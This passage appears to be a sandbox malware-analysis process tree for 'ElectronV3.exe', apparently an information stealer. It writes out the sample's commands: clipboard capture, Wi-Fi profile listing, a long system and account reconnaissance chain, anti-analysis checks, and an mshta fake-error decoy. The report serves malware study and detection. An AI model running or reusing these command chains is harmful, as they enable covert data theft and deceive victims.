      taskkill /F /PID 5700
      4⤵
      Kills process with taskkill
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7044"
    3⤵
    PID:2180
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 7044
      4⤵
      Kills process with taskkill
      PID:5388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 852"
    3⤵
    PID:1196
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 852
      4⤵
      Kills process with taskkill
      PID:3764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2752"
    3⤵
    PID:5416
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2752
      4⤵
      Kills process with taskkill
      PID:4032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6728"
    3⤵
    PID:5112
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 6728
      4⤵
      Kills process with taskkill
      PID:5124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6684"
    3⤵
    PID:6272
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 6684
      4⤵
      Kills process with taskkill
      PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:1632
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:1796
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:7020
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:812
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:6968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2308
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Get-Clipboard
      4⤵
      Clipboard Data
      PID:1532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
    3⤵
    - Network Service Discovery
    PID:4724
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1136
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:4892
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get caption,description,providername
      4⤵
      Collects information from the system
      PID:4692
  - - C:\Windows\system32\net.exe
      net user
      4⤵
      PID:6308
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:6284
  - - C:\Windows\system32\query.exe
      query user
      4⤵
      PID:3760
    - - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        5⤵
        
        PID:4560
  - - C:\Windows\system32\net.exe
      net localgroup
      4⤵
      PID:2572
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        5⤵
        
        PID:7120
  - - C:\Windows\system32\net.exe
      net localgroup administrators
      4⤵
      PID:6300
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:4752
  - - C:\Windows\system32\net.exe
      net user guest
      4⤵
      PID:6996
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        5⤵
        
        PID:5040
  - - C:\Windows\system32\net.exe
      net user administrator
      4⤵
      PID:3064
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        5⤵
        
        PID:4548
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic startup get caption,command
      4⤵
      PID:632
  - - C:\Windows\system32\tasklist.exe
      tasklist /svc
      4⤵
      Enumerates processes with tasklist
      PID:2976
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4740
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:5836
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:5672
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:4636
  - - C:\Windows\system32\sc.exe
      sc query type= service state= all
      4⤵
      Launches sc.exe
      PID:3212
  - - C:\Windows\system32\netsh.exe
      netsh firewall show state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3080
  - - C:\Windows\system32\netsh.exe
      netsh firewall show config
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6776
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6904
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4964
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6492

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:6432

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:2840
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:1440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:6544

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:7032
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:6776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:2008

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:748
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:7104
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:6900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
    3⤵
    PID:400
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer
      4⤵
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "gdb --version"
    3⤵
    PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5216
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:6544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
    3⤵
    PID:4940
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_ComputerSystem get Manufacturer
      4⤵
      PID:928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:3344
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:228
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
    3⤵
    PID:2108
  - - C:\Windows\system32\schtasks.exe
      schtasks /query /TN "ExelaUpdateService"
      4⤵
      PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
    3⤵
    PID:6988
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
      4⤵
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5976
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:6668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:6820
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:6376
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:6184
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:3056
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:1360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:6220
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:7132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Get-Clipboard
      4⤵
      Clipboard Data
      PID:6224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2756
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
    3⤵
    - Network Service Discovery
    PID:4884
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:6004
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:5488
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get caption,description,providername
      4⤵
      Collects information from the system
      PID:4340
  - - C:\Windows\system32\net.exe
      net user
      4⤵
      PID:812
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:2784
  - - C:\Windows\system32\query.exe
      query user
      4⤵
      PID:4592
    - - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        5⤵
        
        PID:3204
  - - C:\Windows\system32\net.exe
      net localgroup
      4⤵
      PID:6748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        5⤵
        
        PID:416
  - - C:\Windows\system32\net.exe
      net localgroup administrators
      4⤵
      PID:6080
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:1180
  - - C:\Windows\system32\net.exe
      net user guest
      4⤵
      PID:3088
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        5⤵
        
        PID:2856
  - - C:\Windows\system32\net.exe
      net user administrator
      4⤵
      PID:660
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        5⤵
        
        PID:3404
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic startup get caption,command
      4⤵
      PID:6032
  - - C:\Windows\system32\tasklist.exe
      tasklist /svc
      4⤵
      Enumerates processes with tasklist
      PID:1980
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1708
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:60
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:3552
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:6072
  - - C:\Windows\system32\sc.exe
      sc query type= service state= all
      4⤵
      Launches sc.exe
      PID:2796
  - - C:\Windows\system32\netsh.exe
      netsh firewall show state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:6280
  - - C:\Windows\system32\netsh.exe
      netsh firewall show config
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4936
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:744
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3604

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:4448
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:6804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:1144

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:7040
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:5576

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:2392
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:3104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:1916

C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
"C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
1⤵
PID:3784
- C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe
  "C:\Users\Admin\Downloads\ElectronV3\ElectronV3\ElectronV3.exe"
  2⤵
  PID:5644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:3656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2464
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:6828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
    3⤵
    PID:6976
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer
      4⤵
      PID:1864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "gdb --version"
    3⤵
    PID:2440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5392
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:6244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
    3⤵
    PID:6324
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_ComputerSystem get Manufacturer
      4⤵
      PID:3336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:708
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:4804
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
    3⤵
    PID:2140
  - - C:\Windows\system32\schtasks.exe
      schtasks /query /TN "ExelaUpdateService"
      4⤵
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
    3⤵
    PID:1472
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
      4⤵
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:1104
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:4416
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:712
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:1204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    PID:4940
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      PID:6912
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:4676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4568
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:6568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Get-Clipboard
      4⤵
      Clipboard Data
      PID:1440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2180
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
    3⤵
    - Network Service Discovery
    PID:4716
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:6988
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:6056
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get caption,description,providername
      4⤵
      Collects information from the system
      PID:5124
  - - C:\Windows\system32\net.exe
      net user
      4⤵
      PID:6548
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:5944
  - - C:\Windows\system32\query.exe
      query user
      4⤵
      PID:5512
    - - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        5⤵
        
        PID:3068
  - - C:\Windows\system32\net.exe
      net localgroup
      4⤵
      PID:6528
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        5⤵
        
        PID:2684
  - - C:\Windows\system32\net.exe
      net localgroup administrators
      4⤵
      PID:4356
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:5320
  - - C:\Windows\system32\net.exe
      net user guest
      4⤵
      PID:6380
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        5⤵
        
        PID:2792
  - - C:\Windows\system32\net.exe
      net user administrator
      4⤵
      PID:5448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        5⤵
        
        PID:6224
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic startup get caption,command
      4⤵
      PID:1828
  - - C:\Windows\system32\tasklist.exe
      tasklist /svc
      4⤵
      Enumerates processes with tasklist
      PID:5140
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:2556
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:880
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:2840
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:4816
  - - C:\Windows\system32\sc.exe
      sc query type= service state= all
      4⤵
      Launches sc.exe
      PID:1216
  - - C:\Windows\system32\netsh.exe
      netsh firewall show state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4488
  - - C:\Windows\system32\netsh.exe
      netsh firewall show config
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2512
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:5856
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5208

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
PID:4604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fffd85346f8,0x7fffd8534708,0x7fffd8534718
  2⤵
  PID:4632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
  2⤵
  PID:4288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
  2⤵
  PID:3444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:1
  2⤵
  PID:4912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3124 /prefetch:1
  2⤵
  PID:4784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
